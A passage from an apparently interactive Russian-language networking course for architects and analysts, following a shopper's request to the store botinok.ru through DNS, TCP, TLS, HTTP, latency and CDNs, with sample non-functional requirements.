- Проекции. Запросы «покажи всех клиентов с балансом больше 1000» по журналу событий невозможны — нужны построенные из него модели чтения. Поэтому ES почти всегда идёт в паре с CQRS.
- Версионирование событий. События живут вечно, а формат меняется. Нужен план: апгрейд при чтении, версии типов, никогда не менять старые записи.
- Ответ про персональные данные. Журнал неизменяем, а закон требует удалять. Обычное решение — крипто-стирание: персональные данные в событии зашифрованы, удаляется ключ.
глава 13 · задание CQRS и event sourcing
Решено 0 из 0.
Между нажатием Enter и первой картинкой на экране запрос успевает несколько раз слетать туда и обратно — иногда через полмира. Каждый такой «круг» стоит времени, и на каждом что-то может сломаться. Весь раздел — одна история: покупательница Анна набирает адрес магазина «Ботинок» и нажимает Enter. Проследим по шагам, что происходит дальше: справочная имён, рукопожатия, шифрование, сами запросы, посредники по дороге. А по ходу разберём, что из этого нужно архитектору и аналитику — чтобы писать выполнимые требования и быстро понимать, где авария.
зачем это зачем архитектору и аналитику разбираться в сети
карта раздела один Enter, четырнадцать глав
Читайте по порядку: каждая глава разбирает один отрезок пути запроса Анны. Главы 2, 5, 6, 8 и 12 — самые «живые»: там можно крутить настройки и ломать. Кнопка переносит к главе.
глава 1 · завязка Анна нажимает Enter: 1,7 секунды, которых никто не заметил
Вечер пятницы. Анна живёт в Новосибирске и едет домой в автобусе. Она открывает браузер на телефоне — мобильный интернет, 4G, — набирает botinok.ru и нажимает Enter. Через 1,7 секунды на экране каталог кроссовок. Анна ничего особенного не заметила.
В тот же вечер разработчик Борис открывает ту же страницу в московском офисе по Wi-Fi — за 0,4 секунды. «У меня всё летает», — говорит он. А аналитик Олег пишет в требованиях: «Страница каталога открывается не дольше чем за 1 секунду». Кто из них прав? И почему у Анны в четыре раза дольше, если сервер тот же и страница та же?
Ответ — в сети. Чтобы разобраться, начнём с трёх слов.
Четыре разговора до первой картинки
Прежде чем Анна увидит хоть один пиксель, её браузер проведёт четыре «разговора» — каждый по своему протоколу. И почти каждый разговор стоит как минимум одного круга туда-обратно: браузер что-то отправил и ждёт ответа.
📖 1. DNS
«Какой числовой адрес у botinok.ru?» Имя сайта удобно людям, а сеть понимает только числа.
🤝 2. TCP
«Давай поговорим» — «Давай» — «Начинаю». Договариваются о надёжной доставке.
🔐 3. TLS
«Докажи, что ты настоящий botinok.ru, и договоримся о ключе». Потом всё шифруется.
📄 4. HTTP
«Дай страницу /catalog» — «Вот HTML». Потом ещё два десятка запросов за картинками и скриптами.
Пройдите весь путь по шагам. Это обзор: каждый шаг потом разобран в своей главе.
глава 2 · пульт путь запроса Анны: где уходят миллисекунды
Это живая модель пути от Enter до готовой страницы. Выберите, где находится Анна, как она подключена, что лежит в кешах, по какой версии HTTP говорит браузер и есть ли у «Ботинка» CDN — сеть узлов-«представительств» рядом с покупателями. Нажмите «▶ Анна нажимает Enter»: пакеты полетят по схеме, а внизу вырастет водопад — такой же, как во вкладке «Сеть» инструментов разработчика в браузере (DevTools).
Не пугайтесь незнакомых слов: SYN, ClientHello, 0-RTT и остальные разобраны в главах 5–8. Сейчас важно одно — увидеть, из чего складывается время. После первого запуска любая смена настройки сразу пересчитывает итог.
Чтобы повторить вечер Анны из главы 1, выберите «Новосибирск» и «мобильный 4G». Вечер Бориса — «Москва» и Wi-Fi.
Водопад: как во вкладке «Сеть» в DevTools
Журнал: что происходило по порядку
1. Москва → Новосибирск → Нью-Йорк при всём остальном прежнем. Сервер тот же, а время растёт почти пропорционально расстоянию: почти всё время — ожидание кругов, а не работа сервера.
2. HTTP/1.1 против HTTP/2 из Нью-Йорка. У первого в водопаде появится «лесенка» из шести соединений, и каждое тратит круги на рукопожатия.
3. Включите CDN. Рукопожатия станут короткими — они теперь идут до узла в городе Анны. А HTML всё равно едет из Москвы: он у каждого свой.
4. Повторный визит: картинки и скрипты берутся из кеша браузера, а HTTP/3 отправляет запрос сразу, без рукопожатия (0-RTT).
5. Переключите на 4G. Каждый круг подорожал на 40 мс — и всё, что зависит от числа кругов, подорожало вместе с ним.
глава 3 · уровни письмо в конверте, конверт в мешке, мешок в грузовике
На пульте мы видели четыре разных разговора. Почему их так много? Нельзя ли одним протоколом? Нельзя — и по той же причине, по которой почта не поручает одному человеку и писать письмо, и сортировать мешки, и водить грузовик.
Четыре уровня модели TCP/IP — и номера из модели OSI
На практике интернет живёт по модели TCP/IP из четырёх уровней. Но в разговорах постоянно звучат номера из учебной модели OSI с семью уровнями: «балансировщик L4», «файрвол L7». Поэтому держите обе — как словарь.
| Уровень TCP/IP | Номер в OSI | Какую задачу решает | Протоколы | В почтовой аналогии | Кто смотрит на этот уровень |
|---|---|---|---|---|---|
| Прикладной | L7 (и L5–L6) | О чём разговор: «дай страницу», «какой адрес у имени» | HTTP, DNS, gRPC, SMTP; TLS обычно относят сюда же | Само письмо | Браузер, сервер приложения, L7-балансировщик, шлюз API |
| Транспортный | L4 | Какой программе на компьютере и надёжно ли: порядок, повторы, скорость | TCP, UDP; QUIC работает поверх UDP | Конверт: номер квартиры, номер страницы, «заказное с уведомлением» | Операционная система, L4-балансировщик, файрвол по портам |
| Межсетевой | L3 | До какого компьютера в какой сети и через кого | IPv4, IPv6, ICMP | Мешок с адресом города и дома | Маршрутизаторы — каждый решает, куда отправить мешок дальше |
| Канальный + физический | L2 + L1 | До соседнего устройства по конкретному проводу или радио | Ethernet, Wi-Fi, 4G/5G, оптика | Грузовик до ближайшей сортировки | Коммутаторы, точки доступа, сетевые карты |
Матрёшка: как запрос Анны обрастает конвертами
Посмотрите, что происходит с запросом «дай каталог», пока он спускается от браузера к сетевой карте. Для простоты возьмём домашний ноутбук Анны с Wi-Fi. На каждом шаге добавляется новый заголовок.
MTU: почему страница едет кусками по полтора килобайта
Из 1500 байт пакета 20 уходит на заголовок IP и ещё 20 — на заголовок TCP (без дополнительных опций). Остаётся 1460 байт полезных данных — это называется MSS (maximum segment size). HTML каталога в 60 КБ поедет примерно 42 пакетами, а картинка в 300 КБ — двумя сотнями.
Туннели и VPN уменьшают MTU
Туннель заворачивает пакет в ещё один конверт — со своим заголовком. Места под данные становится меньше. Если этого не учесть, большие пакеты застрянут.
Как пакет узнаёт о «низком мосте»
Маршрутизатор, которому пакет велик, отвечает служебным сообщением протокола ICMP: «слишком большой, уменьшите». Если файрвол такие сообщения режет, отправитель ничего не узнает — и пакеты молча пропадают.
Симптом, который стоит запомнить
«Маленькие запросы работают, большие зависают». Вход в личный кабинет открывается, а страница с длинным списком заказов — нет. Разбор — в главе 12.
- «Интеграция с партнёром идёт через VPN-туннель. Размер пакета (MTU/MSS) на туннеле согласовывается с партнёром и проверяется тестом с ответом больше 10 КБ».
- «Для балансировщика указать уровень: L4 (TCP) или L7 (HTTP). Требования маршрутизации по пути и заголовкам реализуемы только на L7».
глава 4 · адреса IP-адреса, порты, частные сети и NAT
На каждом конверте нужен адрес. В сети их два вида: адрес компьютера и номер программы на нём.
IPv4: 32 бита, ≈4,3 млрд адресов
Пишется четырьмя числами: 203.0.113.10. Адресов давно не хватает на всех: свободный запас мирового распределителя IANA кончился в 2011 году, европейского регистратора RIPE NCC — в 2019-м. Отсюда частные сети и NAT (ниже).
IPv6: 128 бит, адресов хватит всем
Пишется восемью группами шестнадцатеричных цифр, нули можно сокращать: 2001:db8:10::10. Мобильные операторы и крупные сайты давно работают по IPv6. Для архитектора важно одно: поле «IP-адрес» в базе должно вмещать и IPv6 (до 39 символов в текстовом виде).
192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24, 2001:db8::/32). Настоящим сайтам они не принадлежат.Порты: у сервера — известный, у клиента — случайный
Сервер ждёт соединений на заранее известном порту: HTTPS — 443. А браузер Анны для каждого соединения берёт у операционной системы эфемерный (временный) порт — случайный свободный номер из специального диапазона. В Linux по умолчанию это 32 768–60 999, в Windows — 49 152–65 535. Зачем это знать — в главе 12, где порты вдруг кончаются.
Частные сети и NAT: тысяча квартир за одним адресом
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC 1918). У IPv6 похожую роль играют адреса fd….Снаружи не достучаться
Сервер не может сам «позвонить» ноутбуку Анны — у того нет публичного адреса. Поэтому push-уведомления и чаты держат соединение, открытое со стороны клиента (WebSocket, глава 10).
Один IP — тысячи людей
Мобильные операторы ставят NAT на всю сеть (адреса 100.64.0.0/10 — «общие адреса оператора»). Лимит «10 запросов в секунду с одного IP» может разом отрезать целый район.
NAT помнит не вечно
Запись в таблице NAT живёт, пока по соединению что-то ходит. Долго молчащее соединение NAT может «забыть» — и следующий пакет уйдёт в никуда. Это одна из причин пингов в долгих соединениях.
Два особых адреса: localhost и 0.0.0.0
127.0.0.1 и ::1 — localhost, «я сам»
Пакет на этот адрес не выходит из компьютера. Сервис, который слушает только 127.0.0.1:8080, доступен лишь программам на той же машине. Внутри контейнера «сама машина» — это сам контейнер: соседний контейнер уже «снаружи».
0.0.0.0 — «на всех адресах сразу»
В настройке сервера означает: принимать соединения на всех сетевых интерфейсах. Классическая ошибка: сервис в контейнере запустили на 127.0.0.1, а не на 0.0.0.0 — и снаружи он отвечает «connection refused», хотя «у меня локально всё работает».
Сокет и четвёрка чисел
Поэтому сервер на одном порту 443 держит сотни тысяч соединений: у всех клиентов разные адреса и порты. А вот у клиента, который долбит один и тот же адрес и порт сервера, различаться может только его собственный порт — и их всего около 28 тысяч. Запомните это: пригодится в главе 12.
Тренажёр: какой это адрес?
Разложите адреса по видам. Решено 0 из 0.
- «Партнёр обращается к нашему API с фиксированных IP-адресов; список адресов и портов фиксируется в приложении к договору и в правилах файрвола. Изменение — по заявке за 10 рабочих дней».
- «IP-адрес клиента не является идентификатором пользователя: за одним адресом может быть много людей (NAT). Ограничение частоты — по учётной записи или токену, по IP — только как грубая защита».
- «Поля с IP-адресом хранят и IPv4, и IPv6».
глава 5 · DNS справочная интернета: как имя превращается в адрес
Анна набрала botinok.ru. Но пакеты ходят только по числовым адресам. Кто-то должен сказать браузеру, что botinok.ru — это 203.0.113.10.
Кто участвует
🖥 Резолвер в ОС (stub resolver)
Маленький помощник внутри ОС Анны. Сам ничего не ищет: заглядывает в свой кеш и файл hosts, а потом спрашивает настоящий резолвер.
📖 Рекурсивный резолвер
Тот, кто делает всю работу: обходит цепочку серверов и кеширует ответы. Обычно его даёт провайдер; бывают публичные — например, 8.8.8.8, 1.1.1.1, 77.88.8.8. В компании — свой, внутренний.
🌐 Корневые серверы
Вершина дерева имён — зона «.» (точка). Корневых серверов 13 по именам (от a до m.root-servers.net), их держат 12 независимых организаций. Физически это около двух тысяч копий по всему миру: одинаковые адреса отвечают из ближайшей точки (anycast, глава 10).
🏷 Серверы зоны верхнего уровня (TLD)
Отвечают за .ru, .com, .org. Сами адресов сайтов не знают, но знают, какие серверы отвечают за botinok.ru. Реестр зоны .ru ведёт Координационный центр доменов .RU/.РФ.
✅ Авторитетный сервер
Хранит «истину» про зону botinok.ru: какие у неё записи и адреса. Обычно это DNS-хостинг у регистратора или облака. Только его ответ — первоисточник, все остальные — копии из кешей.
🗃 Кеши на каждом шагу
Браузер, ОС, резолвер провайдера и даже ваше приложение (например, Java-машина) запоминают ответы. Каждый ответ приходит со «сроком годности» — TTL.
Резолвинг по шагам
Выберите, что лежит в кешах, и пройдите запрос. Внизу — что каждый участник запомнил и на сколько секунд.
dig: имя, TTL в секундах, класс IN (интернет), тип записи и значение. В нижних карточках — кеши, число после записи — сколько секунд ей осталось жить.Какие бывают записи
DNS хранит не только адреса. Каждая строка зоны — это запись (resource record) определённого типа. Нажимайте на типы.
TTL: срок годности ответа
Отсюда главная неприятность DNS: изменение нельзя «разослать». Его можно только положить на авторитетный сервер и ждать, пока во всех кешах мира истечёт старый TTL. Ещё хуже: некоторые клиенты кешируют дольше положенного (старые Java-приложения, долгоживущие пулы соединений), а отрицательный ответ «такого имени нет» тоже кешируется — по правилам записи SOA зоны.
Переезд: «поменяли IP, а половина пользователей ходит на старый»
«Ботинок» переезжает в новый дата-центр. Борис меняет A-запись: было 203.0.113.10, стало 198.51.100.200. 24 значка ниже — покупатели и сервисы; у каждого ответ DNS закеширован в свой момент, поэтому истекает в свой. Двигайте время и меняйте условия.
1. Заранее снизить TTL — например, до 60–300 секунд. «Заранее» — это не меньше старого TTL до переезда: был TTL сутки — снижаем за сутки, иначе кеши ещё держат старый длинный срок.
2. Поменять запись. Большинство клиентов переедет за несколько минут.
3. Не выключать старый адрес: пусть принимает запросы и пересылает их на новый, пока на него идёт трафик. Смотреть на график запросов к старому адресу, а не на часы.
4. Найти тех, кто застрял: обычно это сервисы с вечным DNS-кешем или пулами соединений, которые никогда не переподключаются.
5. Вернуть TTL обратно, чтобы не нагружать DNS зря.
Умный DNS: география и проверки здоровья — и их пределы
🗺 GeoDNS
Авторитетный сервер отвечает разным клиентам разными адресами: из Новосибирска — адрес сибирской площадки, из Москвы — московской. Решает по адресу резолвера, а не Анны. Если Анна пользуется публичным резолвером в другой стране, её «увидят» там. Часть резолверов передаёт кусок адреса клиента (расширение EDNS Client Subnet), но не все.
❤ DNS с проверкой здоровья
DNS-провайдер проверяет площадки и убирает из ответа ту, что не отвечает. Работает, но медленно: клиенты, получившие старый ответ, ходят на мёртвый адрес до конца TTL. Это переключение за минуты, а не за секунды. Для быстрого — балансировщик и anycast.
🔁 Несколько A-записей
На одно имя можно отдать несколько адресов. Клиенты разойдутся по ним примерно поровну, но это не балансировка: DNS не знает нагрузку и не видит, жив ли адрес. Мёртвый адрес останется в ответе.
🔒 Шифрованный DNS
Обычный DNS идёт по UDP на порт 53 открытым текстом: провайдер видит, какие сайты открывает Анна. DNS over TLS (порт 853) и DNS over HTTPS прячут это. В компаниях это ломает внутренние имена и контроль — такие вещи согласуют с безопасностью.
«Это всегда DNS»: классические аварии
У админов есть шутка-хайку: «Не может быть DNS. / Нет, точно не DNS. / Это был DNS». Нажимайте на пункты.
- «TTL основных записей — 300 секунд. За сутки до плановых переездов TTL снижается до 60 секунд; старый адрес принимает трафик не менее 24 часов после смены».
- «Срок регистрации домена и сертификатов отслеживается мониторингом, оповещение за 30 дней до окончания».
- «Все исходящие вызовы сервисов идут по DNS-именам, а не по IP. Кеш DNS в приложениях — не дольше 60 секунд».
глава 6 · TCP заказное письмо с уведомлением: надёжная доставка по ненадёжной сети
Адрес известен. Теперь браузеру нужно передать запрос и получить страницу — 42 пакета HTML и сотни пакетов картинок. Сеть же ничего не обещает: пакеты теряются, дублируются, приходят не по порядку. Порядок и надёжность добавляет TCP.
Рукопожатие, данные и прощание
Прежде чем отправить хоть байт, стороны договариваются. Это тройное рукопожатие (three-way handshake): оно стоит один круг туда-обратно. Пройдите по стрелкам — и обратите внимание на последний шаг.
Пять механизмов, на которых держится TCP
🔢 Номера последовательности
Каждый байт потока имеет номер. По номерам получатель расставляет куски по порядку и выкидывает дубли. Начальный номер случайный — чтобы старые заблудившиеся пакеты не смешались с новым соединением.
✅ Подтверждения (ACK)
Получатель сообщает: «жду байт номер N» — значит, всё до N получено. Подтверждение накопительное: одно ACK закрывает сразу много пакетов.
🔁 Повторная отправка
Нет подтверждения за отведённое время (RTO, у Linux не меньше 200 мс) — отправить снова. Быстрее срабатывает «быстрый повтор»: пришли три одинаковых ACK «жду 18» — значит, 18-й потерян, а следующие дошли. Повторяем сразу, не дожидаясь таймера.
🪟 Окно
Сколько байт можно отправить, не дожидаясь подтверждений. Окно получателя защищает его от переполнения. Окно перегрузки (congestion window) защищает сеть: отправитель сам ограничивает себя, чтобы не забить общий канал.
🐢 Медленный старт
Новое соединение не знает, какая сеть по дороге. Поэтому начинает осторожно — с 10 пакетов (≈14 КБ, RFC 6928) — и удваивает окно каждый круг, пока не случится потеря. Отсюда правило: новое соединение медленнее старого, и первые 14 КБ ответа особенно ценны.
📉 Реакция на потерю
Потеря для TCP — признак перегрузки. Он резко уменьшает окно: при быстром повторе — примерно вдвое, при срабатывании таймера — почти до нуля и снова медленный старт. Поэтому даже 1–2 % потерь заметно замедляют скачивание.
TCP вживую: передаём файл и теряем пакеты
Сервер отправляет Анне файл из 40 сегментов. Каждый круг отправитель выпускает столько сегментов, сколько позволяет окно, и ждёт подтверждения. Выберите процент потерь и нажмите «▶ Передать». Или уроните сегмент вручную — посмотрите, что сделает TCP.
Сколько стоит потеря: мегабайт при разных потерях
Один прогон — случайность. Посчитаем честно: 200 раз передадим файл в 1 МБ (≈700 сегментов) с настоящим начальным окном в 10 сегментов, кругом в 50 мс и таймером 200 мс. И сравним среднее время.
Закрытие и TIME_WAIT: почему порт «занят» ещё минуту
Тот, кто закрыл соединение первым, не освобождает свою четвёрку «адрес + порт» сразу, а держит её в состоянии TIME_WAIT — в Linux 60 секунд. Это страховка: вдруг по сети ещё бродит запоздавший пакет старого соединения — он не должен попасть в новое с теми же номерами портов. Цена — если открывать и закрывать тысячи соединений к одному и тому же адресу, порты кончатся (глава 12).
Держать линию открытой: keep-alive и пулы соединений
HTTP keep-alive
В HTTP/1.1 соединение по умолчанию не закрывается после ответа: следующий запрос идёт по нему же. Экономит TCP- и TLS-рукопожатие — один-два круга на каждый запрос.
TCP keepalive — это другое
Механизм ОС: если соединение долго молчит, послать пустой пакет-проверку «ты жив?». В Linux по умолчанию — через 2 часа тишины, что для облаков с таймаутами в минуты почти бесполезно. Обычно настраивают пинги на уровне приложения.
Подвох пулов
Соединение в пуле могло тихо умереть: балансировщик или NAT закрыл его по простою. Пул должен выбрасывать соединения раньше, чем их выбросит посредник, и проверять их перед выдачей. Иначе — ошибка на первом запросе после паузы.
UDP: открытка без уведомления
- «Клиентские библиотеки к внутренним сервисам используют пул соединений; время простоя соединения в пуле — меньше таймаута простоя балансировщика (например, 50 с против 60 с)».
- «Нагрузочное тестирование проводится в том числе на профиле сети с задержкой 100 мс и потерями 1–2 %».
глава 7 · TLS 1.3 сейф с печатью: как Анна убеждается, что говорит с настоящим «Ботинком»
TCP-соединение открыто. Но по дороге пакеты Анны проходят через Wi-Fi в кафе, провайдера, магистральные сети. Любой из них мог бы прочитать пароль или подменить номер карты. Чтобы этого не случилось, поверх TCP устанавливается TLS.
botinok.ru). HTTPS — это HTTP внутри TLS.Что TLS защищает
Содержимое: адрес страницы после имени сайта, заголовки, cookie, токены, тело запроса и ответа. Подмену любого байта. Подмену самого сервера — если сертификат проверен.
Что TLS не прячет
IP-адреса и порты (они на внешнем конверте). Имя сайта в поле SNI — пока не включено шифрование ClientHello (ECH, RFC 9849, 2026 год; поддерживается ещё редко). DNS-запросы, если DNS не шифрованный. Размер и время пакетов.
Актуальная версия — TLS 1.3: RFC 8446 (2018), в 2026 году переиздан с уточнениями как RFC 9846. Её главное отличие от TLS 1.2 для нас — рукопожатие в один круг вместо двух и выброшенные устаревшие шифры. TLS 1.0 и 1.1 официально запрещены (RFC 8996), TLS 1.2 ещё широко живёт.
Рукопожатие TLS 1.3 за один круг
Сертификат и цепочка доверия
botinok.ru, действителен с… по…», подписанный удостоверяющим центром (certificate authority, CA). Браузер доверяет подписи, если может пройти по цепочке до корневого центра из встроенного списка доверенных.1. Сертификат сайта
Имя (botinok.ru, *.botinok.ru), срок, открытый ключ. Подписан промежуточным центром.
2. Промежуточный сертификат
Сервер обязан прислать его сам. Частая ошибка: забыли — браузер иногда достраивает цепочку сам, а Java и curl падают с «unable to get local issuer certificate».
3. Корневой сертификат
Уже лежит в хранилище доверия ОС или браузера. Сервер его не присылает. Внутренние корпоративные центры надо раздать на все машины и в образы контейнеров.
SNI: как на одном IP живут сто сайтов
SNI идёт открытым текстом — провайдер и корпоративный файрвол видят имя сайта, даже если не видят страниц. Этим пользуются фильтры. Тот же SNI позволяет балансировщику L4 направить соединение по имени, не расшифровывая его.
Возобновление и 0-RTT: быстрее, но с оговоркой
Возобновление сессии
В конце рукопожатия сервер выдаёт браузеру «билет» (session ticket). В следующий раз браузер предъявляет его — и стороны пропускают проверку сертификата и тяжёлую математику. По TCP это всё равно один круг, но заметно дешевле для процессора сервера.
0-RTT (ранние данные)
С билетом браузер может отправить запрос прямо в первом пакете, не дожидаясь ответа сервера. Экономит целый круг. Особенно хорошо работает в HTTP/3.
425 Too Early — и браузер повторит запрос после полного рукопожатия. Про идемпотентность — в .Где «снимать» TLS: пять вариантов
Шифрование нужно где-то завершить (TLS termination): там, где его расшифруют, видно содержимое и можно маршрутизировать по пути, кешировать, проверять токены. Нажимайте на строки.
- «Внешние подключения — только TLS 1.2 и выше, предпочтительно TLS 1.3; TLS 1.0/1.1 и SSL отключены. Включён HSTS».
- «Сертификаты выпускаются и продлеваются автоматически; мониторинг срока действия с оповещением за 14 дней».
- «Ранние данные (0-RTT) допускаются только для GET-запросов каталога; операции оплаты и изменения данных — только после полного рукопожатия».
- «Трафик между сервисами внутри периметра шифруется (mTLS)» — если это требование безопасности; иначе явно зафиксировать, где TLS завершается.
глава 8 · HTTP сам разговор: запрос, ответ и три поколения протокола
Соединение открыто и зашифровано. Наконец браузер говорит, что ему нужно.
Что летит по проводу: запрос
GET /catalog/sneakers?size=38 HTTP/1.1Метод GET — «дай». Путь с параметрами. Версия протокола.Host: botinok.ruИмя сайта: на одном IP может жить много сайтов. Единственный обязательный заголовок HTTP/1.1.User-Agent: Mozilla/5.0 (Windows NT 10.0…)Кто спрашивает: браузер, версия, система.Accept: text/htmlКакой формат ответа нужен.Accept-Encoding: gzip, brКаким сжатием клиент умеет распаковывать. Сжатие HTML — обычно в 4–8 раз меньше байт по сети.Cookie: session=7f3a…Кто это: сессия Анны. Едет с каждым запросом к этому сайту — лишние сотни байт каждый раз.If-None-Match: "v42"«У меня уже есть версия v42. Если не менялась — не присылай». Условный запрос.…и ответ
HTTP/1.1 200 OKКод ответа: 200 — всё хорошо, вот содержимое.Content-Type: text/html; charset=utf-8Что в теле и в какой кодировке.Content-Encoding: brТело сжато алгоритмом Brotli.Content-Length: 18234Сколько байт тела — чтобы знать, где ответ кончился и где начнётся следующий.Cache-Control: private, max-age=0Кешировать только в браузере и перепроверять каждый раз. Для картинки было бы public, max-age=31536000, immutable.ETag: "v43"Метка версии. В следующий раз браузер пришлёт её в If-None-Match, и если не изменилось — получит короткий 304 Not Modified без тела.Alt-Svc: h3=":443"; ma=86400«Я умею HTTP/3 на UDP-порту 443, запомни на сутки». Так браузер узнаёт про HTTP/3. Второй способ — DNS-запись HTTPS (RFC 9460).Strict-Transport-Security: max-age=31536000HSTS: «год ходи ко мне только по HTTPS». Защищает от подмены на незашифрованный HTTP.Методы и коды — шпаргалка
| Метод | Что значит | Безопасный | Идемпотентный |
|---|---|---|---|
| GET | получить | да | да |
| HEAD | только заголовки | да | да |
| POST | создать, выполнить действие | нет | нет |
| PUT | положить целиком | нет | да |
| PATCH | изменить часть | нет | зависит |
| DELETE | удалить | нет | да |
| OPTIONS | что можно (в т. ч. проверка CORS) | да | да |
| Код | Когда |
|---|---|
| 1xx 101 | Switching Protocols — переходим на WebSocket |
| 2xx 200, 201, 204 | успех; создано; успех без тела |
| 3xx 301/308, 302/307, 304 | переехало навсегда / временно; не изменилось — бери из кеша |
| 4xx 400, 401, 403, 404, 409, 425, 429 | ошибка клиента: кривой запрос, не представился, нельзя, нет такого, конфликт, «слишком рано» (0-RTT), слишком часто |
| 5xx 500, 502, 503, 504 | ошибка сервера: упал; посредник получил плохой ответ от соседа; перегружен или на обслуживании; посредник не дождался соседа |
Как увидеть водопад без браузера: curl
Разработчик или аналитик может за секунду снять те же фазы, что на пульте из главы 2. Все времена — от начала запроса, нарастающим итогом.
$ curl -o /dev/null -s -w "@fmt.txt" https://botinok.ru/Скачать главную, тело выбросить, напечатать время фаз по шаблону.time_namelookup: 0.052DNS закончился на 52-й миллисекунде.time_connect: 0.107TCP-рукопожатие: 107 − 52 = 55 мс, то есть один круг.time_appconnect: 0.163TLS готов: ещё 56 мс — ещё один круг (TLS 1.3).time_starttransfer: 0.391Первый байт ответа (TTFB): 228 мс после TLS — круг плюс работа сервера.time_total: 0.418Всё скачано. Из 418 мс сервер «думал» от силы 170, остальное — сеть.Три поколения: HTTP/1.1, HTTP/2, HTTP/3
HTTP/1.1 (1997, сейчас RFC 9112)
Текстовый. По одному соединению — один запрос за раз: следующий только после ответа на предыдущий. Соединение держится открытым (keep-alive). Чтобы качать параллельно, браузеры открывают до 6 соединений на сайт — и каждое платит за рукопожатия и медленный старт.
HTTP/2 (2015, сейчас RFC 9113)
Двоичный. Одно соединение, внутри много независимых потоков (streams): десятки запросов летят одновременно, ответы нарезаются на кадры и перемешиваются. Заголовки сжимаются (HPACK, RFC 7541): повторяющиеся cookie и User-Agent не гоняются каждый раз заново. Слабое место — TCP под ним.
HTTP/3 (2022, RFC 9114)
Работает поверх QUIC (RFC 9000) — транспорта на UDP со встроенным TLS 1.3. Потоки независимы уже на транспортном уровне. Соединение и шифрование — за один круг, повторно — за ноль. Соединение переживает смену сети: Wi-Fi → 4G без переподключения.
HTTP/2: много запросов в одной трубе
Блокировка очереди: три протокола, одна беда
Браузер качает три файла: стили (CSS), скрипт (JS) и картинку (IMG), по три пакета каждый. Выберите беду и посмотрите, как с ней справится каждая версия HTTP. Клетка — один момент времени.
Сравнение версий
- «Публичные точки входа поддерживают HTTP/2; HTTP/3 включается на CDN с откатом на HTTP/2».
- «Статические файлы отдаются со сжатием (Brotli или gzip) и заголовками кеширования; имена файлов содержат хеш версии».
- «Автоматические повторы — только для идемпотентных методов (GET, PUT, DELETE) или запросов с ключом идемпотентности».
глава 9 · задержка физика не договаривается: RTT, скорость света и «много мелких запросов»
Мы уже много раз сказали «круг туда-обратно». Пора его измерить — и понять, почему никакой бюджет не сделает страницу из Москвы в Нью-Йорке быстрой без переноса данных ближе к Анне.
Скорость света в оптоволокне
Сигнал в стекле идёт примерно в полтора раза медленнее, чем свет в вакууме: около 200 000 км/с. Значит, 1 миллисекунда на каждые 200 км в одну сторону, или 1 мс RTT на каждые 100 км расстояния. Это теоретический минимум. Настоящий кабель идёт не по прямой, а по дорогам и дну морей, и по пути стоят маршрутизаторы — реальный RTT обычно в 1,5–2 раза больше.
Москва ↔ Новосибирск
≈2 800 км по прямой. Минимум по свету — ≈28 мс RTT. На практике — 40–60 мс.
Москва ↔ Владивосток
≈6 400 км. Минимум — ≈64 мс. На практике — больше 100 мс. НФТ «ответ за 100 мс по всей России» с одним ДЦ в Москве невыполним физически.
Москва ↔ Нью-Йорк
≈7 500 км. Минимум — ≈75 мс. На практике — 110–130 мс. Пять последовательных кругов — уже больше полсекунды.
Калькулятор: сколько стоят круги
Задайте расстояние, число сетевых обращений и способ их делать. Калькулятор посчитает минимально возможное время — быстрее не будет ни при каком железе.
Числа, которые полезно знать
Это порядки величин, а не точные цифры: они зависят от железа, провайдера и нагрузки. Но разница между строками — в разы и в тысячи раз — держится годами.
| Что | Сколько, по порядку величины | Если 1 наносекунду растянуть до 1 секунды |
|---|---|---|
| Вызов функции внутри процесса | наносекунды | секунды |
| Чтение из оперативной памяти | ≈100 нс | ≈2 минуты |
| Случайное чтение с SSD | десятки микросекунд | часы — сутки |
| Круг внутри одного дата-центра | 0,1–0,5 мс | 1–6 суток |
| Круг между зонами доступности одного облачного региона | обычно около 1 мс, до единиц мс | ≈2 недели |
| Круг по городу по проводу | 1–5 мс | 2–8 недель |
| Добавка 4G к каждому кругу | +20–50 мс, при плохом сигнале — сотни | от 8 месяцев до 1,5 лет |
| Москва ↔ Новосибирск | 40–60 мс | 1,3–1,9 года |
| Москва ↔ Нью-Йорк | 110–130 мс | 3,5–4 года |
| Холодный DNS-запрос | десятки–сотни мс | годы |
| TLS 1.3 поверх TCP для нового соединения | +1 RTT к TCP-рукопожатию | ещё столько же, сколько круг |
Почему много мелких запросов хуже одного
Экран «Мои заказы» в мобильном приложении «Ботинка» делает 12 запросов по очереди: профиль, потом список заказов, потом по запросу на каждый заказ. На офисном Wi-Fi это 12 × 5 мс = 60 мс — никто не замечает. У Анны на 4G в Новосибирске круг — 90 мс, и те же 12 запросов стоят больше секунды чистого ожидания. Сервер при этом не тормозит вовсе.
Что помогает
Один укрупнённый запрос вместо двенадцати мелких — через BFF или пакетный метод API (см. ). Параллельные запросы вместо последовательных. HTTP/2 и HTTP/3, чтобы параллельность была дешёвой. Данные ближе к пользователю: CDN и кеш ().
Что не помогает
Более мощный сервер: он и так отвечает за 20 мс. Более широкий канал: ответы маленькие, упираемся в задержку, а не в полосу. Сжатие: байт и так мало, мешают круги.
- «Экран мобильного приложения загружается не более чем двумя последовательными сетевыми обращениями к бэкенду».
- «Время ответа указывается для конкретной географии и профиля сети: “p95 ≤ 1,5 с для пользователей в РФ на 4G”, а не “страница открывается за 1 с”».
глава 10 · посредники CDN, anycast, прокси и WebSocket
Физику не обмануть, но можно сократить путь: поставить «представительство» рядом с Анной. А ещё между Анной и сервером почти всегда стоят посредники — и каждый влияет на скорость, безопасность и долгие соединения.
CDN: склад в каждом городе
Попадание (hit)
Файл есть на краю и не протух — ответ за один короткий круг. Для картинок и скриптов это 95–99 % запросов.
Промах (miss)
Файла на краю нет или истёк срок. Край идёт за ним на origin — по заранее открытому соединению — и кладёт себе. Первый пользователь ждёт дольше, следующие — нет.
Инвалидация
Файл поменяли — копии на сотнях краёв устарели. Можно разослать «сбросить» (purge), но надёжнее менять имя: app.3f9a1c.js → app.b27e40.js. Подробно — в .
CDN ускоряет даже то, что не кеширует. Персональный HTML Анны край не хранит, но рукопожатия TCP и TLS идут до края в её городе, а дальше запрос едет в Москву по «тёплому» соединению — без новых рукопожатий. Вы это видели на пульте: из Нью-Йорка первый байт с CDN приходит в разы быстрее. Плюс CDN принимает на себя волны трафика и атаки на отказ в обслуживании.
Anycast: один адрес — сто точек
«Ближайшая» здесь — по маршрутам провайдеров, а не по карте: иногда пакет из Новосибирска попадает в московскую точку. Зато переключение при отказе точки происходит за секунды на уровне маршрутизации, без ожидания TTL в DNS.
